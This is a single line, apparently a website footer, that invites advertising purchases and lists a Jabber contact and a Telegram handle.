For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis